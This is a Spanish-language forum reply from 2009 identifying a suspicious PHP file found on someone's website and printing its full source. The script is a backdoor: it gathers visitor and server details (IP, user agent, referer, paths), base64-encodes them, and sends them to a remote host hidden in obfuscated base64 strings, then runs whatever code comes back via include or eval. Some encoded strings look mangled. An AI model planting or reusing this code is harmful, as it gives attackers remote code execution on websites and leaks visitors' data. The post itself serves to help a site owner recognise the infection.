Ver Mensaje Individual
  #2 (permalink)  
Antiguo 21/10/2009, 15:51
Avatar de abimaelrc
abimaelrc
Colaborador
 
Fecha de Ingreso: mayo-2009
Ubicación: En el planeta de Puerto Rico
Mensajes: 14.734
Antigüedad: 15 años
Puntos: 1517
Respuesta: Que significa este PHP 50355.php

Alguien esta enviando información de las personas que visitan tu pagina. Te sugiero leer sobre ataques XSS
Código PHP:
Ver original
  1. <?PHP
  2. $a=(isset($_SERVER["HTTP_HOST"])?
  3.  $_SERVER["HTTP_HOST"]:
  4.  $HTTP_HOST);
  5. $b=(isset($_SERVER["SERVER_NAME"])?
  6.  $_SERVER["SERVER_NAME"]:
  7.  $SERVER_NAME);
  8. $c=(isset($_SERVER["REQUEST_URI"])?
  9.  $_SERVER["REQUEST_URI"]:
  10.  $REQUEST_URI);
  11. $d=(isset($_SERVER["PHP_SELF"])?
  12.  $_SERVER["PHP_SELF"]:
  13.  $PHP_SELF);
  14. $e=(isset($_SERVER["QUERY_STRING"])?
  15.  $_SERVER["QUERY_STRING"]:
  16.  $QUERY_STRING);
  17. $f=(isset($_SERVER["HTTP_REFERER"])?
  18.  $_SERVER["HTTP_REFERER"]:
  19.  $HTTP_REFERER);
  20. $g=(isset($_SERVER["HTTP_USER_AGENT"])?
  21.  $_SERVER["HTTP_USER_AGENT"]:
  22.  $HTTP_USER_AGENT);
  23. $h=(isset($_SERVER["REMOTE_ADDR"])?
  24.  $_SERVER["REMOTE_ADDR"]:
  25.  $REMOTE_ADDR);
  26. $i=(isset($_SERVER["SCRIPT_FILENAME"])?
  27.  $_SERVER["SCRIPT_FILENAME"]:
  28.  $SCRIPT_FILENAME);
  29. $j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?
  30.  $_SERVER["HTTP_ACCEPT_LANGUAGE"]:
  31.  $HTTP_ACCEPT_LANGUAGE);
  32. $z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
  33. $f=base64_decode("cnnngrhtddwsawertgfdw==");
  34. if(basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="jhd645der3345692grlosd8985hjhf")
  35.   $f=$_REQUEST["id"];
  36. if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
  37. elseif($c=file_get_contents(base64_decode("aHghgr665654lkldfd984j").$f.$z))
  38.  eval($c);
  39. else{
  40.  $cu=curl_init(base64_decode("sdfg4456hjy67kifg65==").$f.$z);
  41.  curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
  42.  $o=curl_exec($cu);
  43.  curl_close($cu);
  44.  eval($o);
  45. };
  46. die();
  47. ?>
__________________
Verifica antes de preguntar.
Los verdaderos amigos se hieren con la verdad, para no perderlos con la mentira. - Eugenio Maria de Hostos

Última edición por abimaelrc; 21/10/2009 a las 15:56